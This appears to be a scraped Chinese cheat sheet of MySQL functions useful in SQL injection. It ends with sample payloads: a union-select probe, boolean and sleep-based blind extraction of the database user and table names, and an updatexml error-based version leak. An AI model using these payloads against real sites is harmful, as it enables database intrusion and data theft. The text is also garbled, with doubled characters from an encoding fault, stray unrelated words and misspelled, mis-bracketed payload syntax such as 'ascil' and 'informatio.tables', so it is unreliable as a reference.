函數(shù)名稱 作用
system_user() 系統(tǒng)用戶名
user() 用戶名
current_user() 當(dāng)前用戶名
session_user() 連接數(shù)據(jù)庫的用戶名
database() 數(shù)據(jù)庫名
version() 數(shù)據(jù)庫版本
@@version() 數(shù)據(jù)庫版本
@@datadir 數(shù)據(jù)庫路徑
@@basedir 數(shù)據(jù)庫安裝路徑
@@version_compile_os 操作系統(tǒng)
count() 執(zhí)行返回結(jié)果的數(shù)量
concat() 沒有分隔符的鏈接字符串
concat_ws() 含有分隔符鏈接字符串
group_concat() 鏈接一個(gè)組的字符串,以逗號(hào)分開
load_file() 讀文件
into outfile 寫文件
ascil() 字符串的ascil代碼值
ord() 返回字符串的第一個(gè)ascil值
mid() 返回字符串的一部分
例子:select mid ('mysql',1,1)
substr()
例子:select substr('mysql',1,1)
length() 判斷長度
floor 返回小于或等于x的最大整數(shù)
例子:select floor(5.9) 結(jié)果返回5
extractvalue() 第一個(gè)參數(shù):xml對(duì)象名稱释牺,第二參數(shù)為xpath字符串
作用:從目標(biāo)xml中返回包含查詢的字符串
updatexml() 第一個(gè)參數(shù)壹将,xml對(duì)象名
第二個(gè)參數(shù),xpath表達(dá)式
第三個(gè)參數(shù)匆瓜,新的字符串,替換查找到的符合條件的數(shù)據(jù)
改變字符文檔符合的節(jié)點(diǎn)值
sleep() 睡眠
if select if (1>2,2,3); 如果表達(dá)式為真返回第二個(gè)胸嘴,否則返回第三個(gè)
結(jié)果:3
char() 返回整數(shù)ascil的字符串
sql注入樣例分析埠对;
and 1=2 union select 1,2,3 --+
select user() regexp '^ro'
ascil(substr(select user(),1,1)) =114
if(ascil(substr(select user(),1,1)=114,0,sleep(5))
(ascil(substr(select table_name from informatio.tables where table_schema=database() limit 0,1),1,1))=9)
updatexml(1,concat(0x7e,(select @@version),0x7e),1)